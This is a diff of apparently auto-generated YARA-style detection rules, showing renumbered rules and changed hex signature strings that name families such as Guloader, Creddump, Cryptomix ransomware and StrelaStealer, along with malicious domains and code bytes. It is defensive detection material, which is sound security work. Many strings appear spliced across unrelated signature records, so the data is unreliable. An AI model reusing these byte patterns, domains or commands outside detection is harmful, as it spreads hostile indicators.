1)*18467+(#a_00_2 & 1)*116) >=2 } -rule _InfrastructureShared_9927{ +rule _InfrastructureShared_10564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -107286,7 +114289,7 @@ rule _InfrastructureShared_9927{ ((#a_46_0 & 1)*21283+(#a_c0_1 & 1)*18618) >=2 } -rule _InfrastructureShared_9928{ +rule _InfrastructureShared_10565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -107299,7 +114302,7 @@ rule _InfrastructureShared_9928{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*11376+(#a_39_2 & 1)*656+(#a_03_3 & 1)*1) >=2 } -rule _InfrastructureShared_9929{ +rule _InfrastructureShared_10566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -107312,7 +114315,7 @@ rule _InfrastructureShared_9929{ ((#a_54_0 & 1)*18467+(#a_c0_1 & 1)*0+(#a_78_2 & 1)*-7167+(#a_90_3 & 1)*24835) >=2 } -rule _InfrastructureShared_9930{ +rule _InfrastructureShared_10567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -107326,7 +114329,7 @@ rule _InfrastructureShared_9930{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*30175+(#a_00_2 & 1)*144+(#a_61_3 & 1)*1027+(#a_45_4 & 1)*1625) >=2 } -rule _InfrastructureShared_9931{ +rule _InfrastructureShared_10568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -107338,7 +114341,7 @@ rule _InfrastructureShared_9931{ ((#a_54_0 & 1)*18467+(#a_04_3 & 1)*4096+(#a_01_4 & 1)*-28583) >=2 } -rule _InfrastructureShared_9932{ +rule _InfrastructureShared_10569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -107350,7 +114353,7 @@ rule _InfrastructureShared_9932{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*17737+(#a_5a_2 & 1)*26996) >=3 } -rule _InfrastructureShared_9933{ +rule _InfrastructureShared_10570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -107362,7 +114365,7 @@ rule _InfrastructureShared_9933{ ((#a_46_0 & 1)*16675+(#a_c7_1 & 1)*-11799+(#a_4d_2 & 1)*22082) >=3 } -rule _InfrastructureShared_9934{ +rule _InfrastructureShared_10571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -107374,7 +114377,7 @@ rule _InfrastructureShared_9934{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-28666+(#a_72_2 & 1)*20481) >=3 } -rule _InfrastructureShared_9935{ +rule _InfrastructureShared_10572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -107386,7 +114389,7 @@ rule _InfrastructureShared_9935{ ((#a_77_0 & 1)*16675+(#a_5c_1 & 1)*29806+(#a_00_2 & 1)*101) >=3 } -rule _InfrastructureShared_9936{ +rule _InfrastructureShared_10573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -107397,7 +114400,7 @@ rule _InfrastructureShared_9936{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*120) >=3 } -rule _InfrastructureShared_9937{ +rule _InfrastructureShared_10574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -107408,7 +114411,7 @@ rule _InfrastructureShared_9937{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*117) >=3 } -rule _InfrastructureShared_9938{ +rule _InfrastructureShared_10575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -107420,7 +114423,7 @@ rule _InfrastructureShared_9938{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25961+(#a_01_2 & 1)*25712) >=3 } -rule _InfrastructureShared_9939{ +rule _InfrastructureShared_10576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -107433,7 +114436,7 @@ rule _InfrastructureShared_9939{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26369+(#a_20_2 & 1)*27745+(#a_6e_3 & 1)*22330) >=3 } -rule _InfrastructureShared_9940{ +rule _InfrastructureShared_10577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -107446,7 +114449,7 @@ rule _InfrastructureShared_9940{ ((#a_4e_0 & 1)*20259+(#a_20_1 & 1)*28521+(#a_3c_2 & 1)*25441+(#a_67_3 & 1)*26999) >=3 } -rule _InfrastructureShared_9941{ +rule _InfrastructureShared_10578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 04 00 21 " @@ -107458,7 +114461,7 @@ rule _InfrastructureShared_9941{ ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*30464+(#a_eb_3 & 1)*-18929) >=3 } -rule _InfrastructureShared_9942{ +rule _InfrastructureShared_10579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -107468,7 +114471,20 @@ rule _InfrastructureShared_9942{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_9943{ +rule _InfrastructureShared_10580{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4b 30 31 21 4d 54 42 00 01 00 18 81 01 75 6e 64 65 72 70 72 69 6b 6e 69 6e 67 65 6e 20 73 63 65 6e 69 73 6b 65 01 00 14 81 01 74 69 64 73 73 6b 72 69 66 74 73 61 6d 6c 69 6e 67 65 6e 73 01 00 1c } //18467 + $a_73_1 = {61 64 65 6c 69 67 67 6a 6f 72 74 65 20 66 6f 6c 6b 65 70 61 72 74 69 65 72 01 00 0e 81 01 6b 61 76 61 6c 6b 61 64 65 73 2e 65 78 65 00 00 78 92 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 45 31 32 33 21 4d 54 42 00 01 00 0c 81 01 6f 76 65 72 75 74 69 6c 69 7a 65 73 01 00 15 81 01 75 64 64 65 6c } //385 + $a_65_2 = {20 68 61 76 69 6e 67 6e 65 73 73 01 00 13 81 01 75 64 6c 61 61 6e 69 6e 67 65 6e 73 20 70 6f 6f 67 79 65 01 00 20 81 01 70 65 72 73 6f 6e 6c 69 67 68 65 64 73 73 70 61 6c 74 65 74 20 6f 76 65 72 73 6b 72 65 64 65 74 00 00 78 92 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //26473 + $a_4b_3 = {51 31 32 33 21 4d 54 42 00 01 00 1e 81 01 73 6d 61 61 6b 61 61 72 73 66 6f 6c 6b 65 74 20 61 6d 61 6c 69 65 20 63 6f 64 69 6c 6c 61 01 00 0f 81 01 61 6e 61 6c 79 73 65 76 72 6b 74 6a 65 74 73 01 00 15 81 01 68 61 6d 75 6c 61 } //11890 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*385+(#a_65_2 & 1)*26473+(#a_4b_3 & 1)*11890) >=4 + +} +rule _InfrastructureShared_10581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -107481,7 +114497,7 @@ rule _InfrastructureShared_9943{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26478+(#a_66_2 & 1)*29281+(#a_64_3 & 1)*28524) >=4 } -rule _InfrastructureShared_9944{ +rule _InfrastructureShared_10582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -107494,20 +114510,32 @@ rule _InfrastructureShared_9944{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_92_3 & 1)*0) >=4 } -rule _InfrastructureShared_9945{ +rule _InfrastructureShared_10583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 56 59 31 32 33 21 4d 54 42 00 01 00 13 81 01 4f 68 69 6f 20 43 61 73 75 61 6c 74 79 20 43 6f 72 70 2e 01 00 11 81 01 73 74 65 72 68 79 64 72 61 75 6c 69 63 2e 65 78 65 01 00 11 81 01 49 6e 74 65 } //18467 - $a_6f_1 = {70 6f 72 61 74 69 6f 6e 01 00 1f 81 01 53 74 65 6c 6c 61 72 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 53 79 73 74 65 6d 73 20 4c 74 64 00 00 78 92 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 } //8300 - $a_3a_2 = {69 6e 33 32 2f 43 72 65 64 64 75 6d 70 21 64 68 61 00 01 00 0d 01 63 72 65 64 64 75 6d 70 2e 64 6c 6c 00 01 00 07 01 44 75 6d 70 43 46 00 01 00 17 01 4c 73 61 49 43 72 79 70 74 55 6e 70 72 6f 74 65 63 74 44 61 74 61 00 01 00 2d 03 52 50 33 c9 56 68 41 00 00 20 89 4c 24 28 56 56 89 4c 24 34 56 56 89 4c 24 40 53 57 89 74 24 } //28527 - $a_24_3 = {ff 15 90 01 04 ff 15 90 00 00 00 78 92 00 00 04 00 04 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 69 6e 4d 69 6e 65 72 21 45 54 48 00 01 00 0e 01 2d 2d 66 61 72 6d 2d 72 65 63 68 65 63 6b 01 00 11 01 2d 2d 63 75 64 61 2d } //-30404 + $a_6f_1 = {70 6f 72 61 74 69 6f 6e 01 00 1f 81 01 53 74 65 6c 6c 61 72 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 53 79 73 74 65 6d 73 20 4c 74 64 00 00 78 92 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 } //8300 + $a_72_2 = {61 64 4a 61 63 6b 65 72 2e 42 00 01 00 17 03 44 8b 85 20 01 00 00 33 d2 8b 4d 04 ff 15 90 01 04 48 89 45 28 90 00 01 00 27 03 48 c7 44 24 20 88 13 00 00 4c 8b 8d 28 01 00 00 45 33 c0 33 d2 48 8b 8d 20 01 00 00 ff 15 90 01 04 48 89 45 08 90 00 01 00 11 03 48 8b 8d 70 07 00 00 ff 15 90 01 04 83 f8 ff 90 00 01 00 } //21551 + $a_8b_3 = {70 07 00 00 ff 15 90 01 04 85 c0 90 00 00 00 78 92 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 72 65 64 64 75 6d 70 21 64 68 61 00 01 00 0d 01 63 72 65 64 64 75 6d 70 2e } //784 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8300+(#a_3a_2 & 1)*28527+(#a_24_3 & 1)*-30404) >=4 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8300+(#a_72_2 & 1)*21551+(#a_8b_3 & 1)*784) >=4 } -rule _InfrastructureShared_9946{ +rule _InfrastructureShared_10584{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 54 68 72 65 61 64 4a 61 63 6b 65 72 2e 42 00 01 00 17 03 44 8b 85 20 01 00 00 33 d2 8b 4d 04 ff 15 90 01 04 48 89 45 28 90 00 01 00 27 03 48 c7 44 24 20 88 13 00 00 4c 8b 8d 28 01 00 00 45 33 c0 33 d2 48 8b 8d } //21283 + $a_01_2 = {04 48 89 45 08 90 00 01 00 11 03 48 8b 8d 70 07 00 00 ff 15 90 01 04 83 f8 ff 90 00 01 00 10 03 48 8b 8d 70 07 00 00 ff 15 90 01 04 85 c0 90 00 00 00 78 92 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 72 65 64 64 75 6d 70 21 64 68 61 00 01 00 0d 01 63 72 65 64 64 75 6d 70 2e 64 6c 6c 00 01 00 07 01 44 75 6d 70 43 46 00 01 00 17 01 4c 73 61 49 43 72 79 70 74 55 6e 70 72 6f 74 65 63 74 } //5631 + $a_61_3 = {01 00 2d 03 52 50 33 c9 56 68 41 00 00 20 89 4c 24 28 56 56 89 4c 24 34 56 56 89 4c 24 40 53 57 89 74 24 3c 89 4c 24 4c ff 15 90 01 04 ff 15 90 00 00 00 78 92 00 00 04 00 04 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 69 6e 4d 69 6e 65 72 21 45 54 48 00 01 00 0e 01 2d 2d 66 61 72 6d 2d 72 65 63 68 65 63 6b 01 00 11 01 2d 2d 63 75 64 61 2d } //24900 + condition: + ((#a_46_0 & 1)*21283+(#a_01_2 & 1)*5631+(#a_61_3 & 1)*24900) >=4 + +} +rule _InfrastructureShared_10585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -107520,7 +114548,7 @@ rule _InfrastructureShared_9946{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*28245+(#a_00_2 & 1)*27491+(#a_63_3 & 1)*11521) >=4 } -rule _InfrastructureShared_9947{ +rule _InfrastructureShared_10586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -107534,7 +114562,7 @@ rule _InfrastructureShared_9947{ ((#a_41_0 & 1)*20515+(#a_2f_1 & 1)*28788+(#a_55_2 & 1)*14918+(#a_52_3 & 1)*17153+(#a_74_4 & 1)*31090) >=4 } -rule _InfrastructureShared_9948{ +rule _InfrastructureShared_10587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -107542,28 +114570,39 @@ rule _InfrastructureShared_9948{ $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 35 30 00 01 00 08 80 01 53 61 66 65 2e 65 78 65 01 00 11 80 01 4c 52 53 61 66 65 53 65 72 76 69 63 65 2e 65 78 65 01 00 06 80 01 4c 52 53 } //16675 $a_01_1 = {00 0f 80 01 43 4c 52 53 61 66 65 54 72 61 79 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 92 00 00 05 00 03 00 05 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 43 72 79 70 74 6f 6d 69 78 2e 4b 41 00 02 00 18 01 43 } //26209 $a_49_2 = {44 4f 57 53 5c 74 77 65 69 6e 5f 5f 33 32 2e 64 6c 6c 01 00 15 01 64 66 68 64 72 74 38 72 74 24 23 25 59 67 73 61 64 46 73 64 65 01 00 17 01 43 20 73 68 75 74 64 6f 77 6e 2e 65 78 65 20 2d 72 20 2d 74 20 30 30 01 00 08 01 43 3a 5c 69 2e 74 78 74 01 00 0a 01 25 } //23610 - $a_32_3 = {2e 62 61 74 00 00 78 92 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 31 00 } //23667 - $a_80_4 = {64 65 66 65 6e 63 65 70 72 69 76 61 63 79 2e 63 6f 2e 6b 72 } //defenceprivacy.co.kr 2 - $a_80_5 = {64 6f 77 6e 2e 64 65 66 65 6e 63 65 70 72 69 76 61 63 79 2e 63 6f 2e 6b 72 } //down.defenceprivacy.co.kr 1 + $a_32_3 = {2e 62 61 74 00 00 78 92 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 48 47 21 4d 54 42 00 03 } //23667 + $a_44_4 = {44 } //12032 D + $a_24_5 = {be 1d 05 71 9d 0f 44 f2 41 b8 1c c2 5b 6c ba 72 10 26 ea 44 0f 44 c2 41 be fc eb 8c 38 44 0f 44 f2 ba 34 37 5b 64 eb 02 00 33 03 49 8b de 48 2b c2 48 c1 fb 06 48 d1 f8 4d 8b cf 4c 8d 24 c9 48 8b f0 48 8d 05 90 01 04 45 33 c0 48 8b 94 d8 e0 1b 0b 00 41 8b ce 4a 8b 54 e2 30 e8 90 00 00 00 78 92 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 41 64 77 61 } //-30238 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26209+(#a_49_2 & 1)*23610+(#a_32_3 & 1)*23667+(#a_80_4 & 1)*2+(#a_80_5 & 1)*1) >=4 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26209+(#a_49_2 & 1)*23610+(#a_32_3 & 1)*23667+(#a_44_4 & 1)*12032+(#a_24_5 & 1)*-30238) >=4 } -rule _InfrastructureShared_9949{ +rule _InfrastructureShared_10588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 03 00 05 00 21 " strings : $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 43 72 79 70 74 6f 6d 69 78 2e 4b 41 00 02 00 18 01 43 3a 5c 57 49 4e 44 4f 57 53 5c 74 77 65 69 6e 5f 5f 33 32 2e 64 6c 6c 01 00 15 01 64 66 68 64 72 74 38 72 74 24 23 } //21539 - $a_73_1 = {64 46 73 64 65 01 00 17 01 43 20 73 68 75 74 64 6f 77 6e 2e 65 78 65 20 2d 72 20 2d 74 20 30 30 01 00 08 01 43 3a 5c 69 2e 74 78 74 01 00 0a 01 25 73 5c 31 32 33 2e 62 61 74 00 00 78 92 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 31 00 } //22821 - $a_80_2 = {64 65 66 65 6e 63 65 70 72 69 76 61 63 79 2e 63 6f 2e 6b 72 } //defenceprivacy.co.kr 2 - $a_80_3 = {64 6f 77 6e 2e 64 65 66 65 6e 63 65 70 72 69 76 61 63 79 2e 63 6f 2e 6b 72 } //down.defenceprivacy.co.kr 1 - $a_80_4 = {70 61 72 74 6e 65 72 5f 69 6e 66 6f 2e 69 6e 69 } //partner_info.ini 1 + $a_73_1 = {64 46 73 64 65 01 00 17 01 43 20 73 68 75 74 64 6f 77 6e 2e 65 78 65 20 2d 72 20 2d 74 20 30 30 01 00 08 01 43 3a 5c 69 2e 74 78 74 01 00 0a 01 25 73 5c 31 32 33 2e 62 61 74 00 00 78 92 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 48 47 21 4d 54 42 00 03 } //22821 + $a_44_2 = {44 } //12032 D + $a_24_3 = {be 1d 05 71 9d 0f 44 f2 41 b8 1c c2 5b 6c ba 72 10 26 ea 44 0f 44 c2 41 be fc eb 8c 38 44 0f 44 f2 ba 34 37 5b 64 eb 02 00 33 03 49 8b de 48 2b c2 48 c1 fb 06 48 d1 f8 4d 8b cf 4c 8d 24 c9 48 8b f0 48 8d 05 90 01 04 45 33 c0 48 8b 94 d8 e0 1b 0b 00 41 8b ce 4a 8b 54 e2 30 e8 90 00 00 00 78 92 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 41 64 77 61 } //-30238 + $a_57_4 = {6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 31 00 02 00 14 80 01 64 65 66 65 6e 63 65 70 72 69 76 61 63 79 2e 63 6f 2e 6b 72 01 00 19 80 01 64 6f 77 6e 2e 64 65 66 65 6e } //25970 condition: - ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*22821+(#a_80_2 & 1)*2+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=3 + ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*22821+(#a_44_2 & 1)*12032+(#a_24_3 & 1)*-30238+(#a_57_4 & 1)*25970) >=3 } -rule _InfrastructureShared_9950{ +rule _InfrastructureShared_10589{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 48 47 21 4d 54 42 00 03 00 2f 01 44 0f 44 e2 89 74 24 4c be 1d 05 71 9d 0f 44 f2 41 b8 1c c2 5b 6c ba 72 10 26 ea 44 0f 44 c2 41 be fc eb 8c 38 44 0f } //21539 + $a_34_1 = {5b 64 eb 02 00 33 03 49 8b de 48 2b c2 48 c1 fb 06 48 d1 f8 4d 8b cf 4c 8d 24 c9 48 8b f0 48 8d 05 90 01 04 45 33 c0 48 8b 94 d8 e0 1b 0b 00 41 8b ce 4a 8b 54 e2 30 e8 90 00 00 00 78 92 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 31 00 02 00 14 80 01 64 65 66 65 6e 63 65 70 72 69 76 61 63 79 2e 63 6f 2e 6b 72 01 00 19 80 01 64 6f 77 6e 2e 64 65 66 65 6e 63 65 70 72 69 76 61 63 79 2e 63 6f 2e 6b 72 01 00 10 80 01 70 61 72 74 6e 65 72 5f 69 6e 66 6f 2e 69 6e 69 01 00 18 80 01 44 65 } //-3516 + condition: + ((#a_4c_0 & 1)*21539+(#a_34_1 & 1)*-3516) >=5 + +} +rule _InfrastructureShared_10590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -107576,19 +114615,31 @@ rule _InfrastructureShared_9950{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*25390+(#a_43_2 & 1)*5+(#a_2f_3 & 1)*5120) >=5 } -rule _InfrastructureShared_9951{ +rule _InfrastructureShared_10591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 4e 6f 6d 65 78 65 72 72 6f 72 2e 67 65 6e 21 64 68 61 00 05 00 19 43 12 13 1f 15 c7 44 24 90 01 01 41 59 42 2d 66 c7 44 24 90 01 01 20 0b 90 00 01 00 14 01 2f } //16675 - $a_00_2 = {74 00 64 00 65 00 72 00 72 00 01 00 0c 01 4d 69 63 72 6f 73 6f 66 74 6d 65 78 03 00 11 01 2f 45 35 59 63 42 45 67 4e 35 4a 6e 4f 4e 68 35 35 00 00 78 92 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 72 79 70 74 6f 72 2e 41 43 21 4d 54 42 00 01 00 12 81 01 44 65 73 74 72 75 63 74 69 6f 6e 20 53 79 } //45 - $a_6d_3 = {00 15 81 01 52 45 43 4f 56 45 52 59 20 49 4e 53 54 52 55 43 54 49 4f 4e 53 01 00 0a 81 01 2e 64 65 73 74 72 6f 79 65 64 01 00 0c 81 01 45 6e 63 72 79 70 74 42 79 74 65 73 01 00 0f 81 01 67 65 74 5f 54 61 72 67 65 74 46 69 6c 65 73 00 00 78 92 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //29811 + $a_00_2 = {74 00 64 00 65 00 72 00 72 00 01 00 0c 01 4d 69 63 72 6f 73 6f 66 74 6d 65 78 03 00 11 01 2f 45 35 59 63 42 45 67 4e 35 4a 6e 4f 4e 68 35 35 00 00 78 92 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 47 50 42 4d 21 4d 54 42 00 04 00 15 01 4c 31 c1 48 09 d0 4c 09 c1 48 } //45 + $a_ff_3 = {48 21 c8 48 89 85 04 00 1e 03 44 21 d1 45 89 c3 41 83 f3 ff 41 81 e3 90 01 04 45 21 d0 41 09 c9 45 09 c3 45 31 d9 90 00 04 00 0c 01 48 31 ca 48 89 c1 48 31 d1 48 21 c1 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 00 00 78 92 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 72 79 70 74 6f 72 2e 41 43 21 4d 54 42 00 01 00 12 81 01 44 65 73 74 72 75 63 74 69 6f 6e 20 53 79 73 74 65 6d 01 00 15 81 01 52 45 43 4f 56 45 52 59 20 49 4e 53 54 52 55 43 54 49 4f 4e 53 01 00 0a 81 01 2e 64 65 73 74 72 6f 79 65 64 01 00 0c 81 01 45 6e 63 72 79 70 74 42 79 74 65 73 01 00 0f 81 01 67 65 74 5f 54 61 72 67 65 74 46 69 6c 65 73 00 00 78 92 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //-203 condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_6d_3 & 1)*29811) >=5 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_ff_3 & 1)*-203) >=5 } -rule _InfrastructureShared_9952{ +rule _InfrastructureShared_10592{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 47 50 42 4d 21 4d 54 42 00 04 00 15 01 4c 31 c1 48 09 d0 4c 09 c1 48 35 ff ff ff ff 48 21 c8 48 89 85 04 00 1e 03 44 21 d1 45 } //21539 + $a_83_1 = {ff 41 81 e3 90 01 04 45 21 d0 41 09 c9 45 09 c3 45 31 d9 90 00 04 00 0c 01 48 31 ca 48 89 c1 48 31 d1 48 21 c1 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 00 00 78 92 00 00 05 } //-15479 + $a_41_3 = {46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 72 79 70 74 6f 72 2e 41 43 21 4d 54 42 00 01 00 } //8448 + condition: + ((#a_4c_0 & 1)*21539+(#a_83_1 & 1)*-15479+(#a_41_3 & 1)*8448) >=5 + +} +rule _InfrastructureShared_10593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107601,7 +114652,7 @@ rule _InfrastructureShared_9952{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*20297+(#a_41_2 & 1)*19529+(#a_44_3 & 1)*21619) >=5 } -rule _InfrastructureShared_9953{ +rule _InfrastructureShared_10594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107615,7 +114666,7 @@ rule _InfrastructureShared_9953{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*-32489+(#a_48_2 & 1)*19022+(#a_54_3 & 1)*8534+(#a_59_4 & 1)*-32743) >=5 } -rule _InfrastructureShared_9954{ +rule _InfrastructureShared_10595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107629,7 +114680,7 @@ rule _InfrastructureShared_9954{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*27996+(#a_01_2 & 1)*4864+(#a_61_3 & 1)*29541+(#a_92_4 & 1)*0) >=5 } -rule _InfrastructureShared_9955{ +rule _InfrastructureShared_10596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107643,7 +114694,7 @@ rule _InfrastructureShared_9955{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_41_2 & 1)*19529+(#a_2d_3 & 1)*13925+(#a_61_4 & 1)*29541) >=5 } -rule _InfrastructureShared_9956{ +rule _InfrastructureShared_10597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107657,7 +114708,7 @@ rule _InfrastructureShared_9956{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28500+(#a_32_2 & 1)*19789+(#a_2e_3 & 1)*-32500+(#a_6f_4 & 1)*25970) >=5 } -rule _InfrastructureShared_9957{ +rule _InfrastructureShared_10598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107670,7 +114721,7 @@ rule _InfrastructureShared_9957{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28500+(#a_6e_2 